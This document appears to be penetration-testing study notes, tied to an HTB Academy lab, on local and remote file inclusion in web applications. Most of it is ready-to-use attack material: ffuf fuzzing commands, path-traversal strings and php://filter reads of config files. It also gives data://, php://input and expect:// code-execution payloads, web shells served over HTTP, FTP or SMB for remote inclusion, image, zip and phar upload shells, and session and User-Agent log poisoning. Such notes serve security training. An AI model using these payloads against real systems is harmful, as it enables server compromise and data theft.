It is essential to understand how file inclusion attacks work and how to manually craft advanced payloads and use custom techniques to achieve remote code execution. In many cases, exploiting the vulnerability requires a custom payload that matches specific configurations. Additionally, when dealing with security measures like a WAF or firewall, you must analyze how certain payloads or characters are blocked and then craft a custom payload to bypass those measures.
Function | Read Content | Execute | Remote URL |
---|---|---|---|
include()/include_once() | β | β | β |
require()/require_once() | β | β | β |
file_get_contents() | β | β | β |
fopen()/file() | β | β | β |
Function | Read Content | Execute | Remote URL |
---|---|---|---|
fs.readFile() | β | β | β |
fs.sendFile() | β | β | β |
res.render() | β | β | β |
Function | Read Content | Execute | Remote URL |
---|---|---|---|
include | β | β | β |
import | β | β | β |
Function | Read Content | Execute | Remote URL |
---|---|---|---|
@Html.Partial() | β | β | β |
@Html.RemotePartial() | β | β | β |
Response.WriteFile() | β | β | β |
include | β | β | β |
HTML forms on the front-end are often well secured against attacks. However, many web pages have exposed parameters not linked to any form. These parameters may not be as secure as public ones. It is important to fuzz for such exposed parameters.
Fuzz for common parameters:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
A good wordlist for LFI testing is LFI-Jhaddix.txt. It contains various bypass techniques and common file paths, enabling you to run several tests simultaneously.
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
Return here if you actually find one β refer to HTB Academy Page for more details.
Second-order LFI attacks occur when a web application insecurely pulls files from the back-end server based on user-controlled parameters. For example, if a URL like /profile/$username/avatar.png
is used to fetch an avatar, a malicious username (e.g. ../../../etc/passwd
) could change the file being pulled. In this scenario, you poison a database entry with an LFI payload in your username, and another functionality (like the avatar download) uses that poisoned entry. Developers often overlook these vulnerabilities because they trust values retrieved from a database.
Some simple bypass techniques include:
Using path traversal sequences, e.g.:
....//....//....//....//....//....//flag.txt
URL encode or double encode your payload.
_Refer to File Inclusion/Path Traversal | HackTricks for more details._ |
PHP Filters are a type of PHP wrapper that allows you to pass input through a specified filter. Use the php://
scheme to access PHP filter wrappers.
Input Filters:
The resource parameter specifies the file to be filtered and the read parameter specifies the filter to apply.
Fuzzing for PHP Files:
/opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php
Base64 PHP Filter:
This filter base64 encodes a PHP file so that its source code is revealed instead of being executed.
php://filter/read=convert.base64-encode/resource=config
Note: The resource file is appended with .php
automatically, making it config.php
.
You can check PHP configurations via LFI. For example, to read the PHP configuration file for Apache or Nginx:
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
Then, verify if allow_url_include
is enabled:
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
If enabled, you can use the data wrapper to include external PHP code. For example, encode a simple web shell:
echo '<?php system($_GET["cmd"]); ?>' | base64
Then URL encode and pass it via:
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id'
The input wrapper passes data via a POST request.
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"
Note: If the function only accepts POST, embed the command in the PHP code (e.g. <?php system('id')?>
).
The expect wrapper allows direct command execution through URL streams. It must be installed on the back-end.
Check for expect:
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
Test using expect:
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
Example flag retrieval:
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://83.136.252.57:59215/index.php?language=php://input&cmd=cat+/37809e2f8952f06139011994726d9ef1.txt" | grep HTB
Almost all RFIs are also LFIs, but not all LFIs support remote file inclusion due to:
Verifying an RFI:
Ensure allow_url_include
is enabled:
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
If enabled, test by including a local URL (e.g., http://127.0.0.1:80/index.php
). If the page is executed and rendered as PHP, it indicates that PHP execution is allowed.
Set up your shell:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
Listen for incoming connections:
sudo python3 -m http.server <LISTENING_PORT>
Include your shell via RFI:
http://server:port/index.php?language=http://our_ip:port/shell.php&cmd=id
Tip: Check for extra extensions appended to your request and adjust your payload accordingly.
You can also host your script via FTP if HTTP ports are blocked or the http://
string is filtered.
Start a basic FTP server:
sudo python -m pyftpdlib -p 21
Include your script using the FTP scheme:
http://server:port/index.php?language=ftp://our_ip:port/shell.php&cmd=id
For servers requiring authentication:
curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
If the target is a Windows server, you might exploit RFI using SMB even if allow_url_include
is disabled.
Start an SMB server with:
impacket-smbserver -smb2support share $(pwd)
Include your script using a UNC path (e.g., \\<OUR_IP>\share\shell.php
) and pass a command with &cmd=whoami
.
Note: This method is more likely to work on the same network.
For some attacks, you donβt need the file upload form to be vulnerableβonly that it allows file uploads. If the vulnerable function executes code, uploading a file containing PHP code (even if disguised as an image) can lead to remote code execution.
Image Uploads:
Craft a malicious image with an allowed extension (e.g., shell.gif
) and include valid image magic bytes (e.g., GIF8
):
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
Note: The uploaded fileβs URL path is required to include it. Adjust the path accordingly (e.g., ./profile_images/
).
PHP-only techniques may also involve using PHP wrappers like the zip wrapper to execute PHP code.
Create a PHP web shell and zip it into an archive named shell.jpg
:
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
Note: Some upload forms may detect the file as a zip archive even if renamed, so this method works best when zip uploads are allowed.
You can also use the phar://
wrapper to execute PHP code. First, create a PHP script (e.g., shell.php
) with the following content:
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
Compile the script into a phar file and rename it:
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
After uploading, include it using the phar://
wrapper and target the sub-file (e.g., /shell.txt
) to execute commands with &cmd=id
.
Log poisoning involves injecting PHP code into a field you control that gets written into a log file. Later, including that log file via LFI can execute the injected PHP code. This attack requires the web application to have read-access to the log files.
Most PHP web applications use PHPSESSID cookies to store session data on the back-end. These session files are typically stored in:
/var/lib/php/sessions/
C:\Windows\Temp\
The session file name is derived from the PHPSESSID cookie (prefixed with sess_
). For example, if the cookie is el4ukv0kqbvoirg7nkp4dncpk3
, the file is /var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3
.
Steps to Poison a Session File:
?language=
parameter).?language=session_poisoning
) and verify the change in the session file.Poison the session by writing PHP code to it. For example, use a URL-encoded web shell:
http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
&cmd=id
.Note: The session file will be overwritten on each inclusion, so the poisoning step must be repeated or used to create a permanent web shell.
Both Apache and Nginx maintain log files (e.g., access.log
and error.log
). Since you can control headers like User-Agent, you can inject PHP code into these logs.
Considerations:
/var/log/apache2/
(Linux) or C:\xampp\apache\logs\
(Windows)/var/log/nginx/
(Linux) or C:\nginx\log\
(Windows)Example using curl with a poisoned User-Agent:
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A "<?php system($_GET['cmd']); ?>"
Once the log contains the PHP code, including it via LFI allows you to execute commands with ?cmd=id
.
Other Logs to Consider:
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
Tip: The User-Agent header is also present in process files under /proc/
(e.g., /proc/self/environ
or /proc/self/fd/N
), which can be targeted if log files are inaccessible.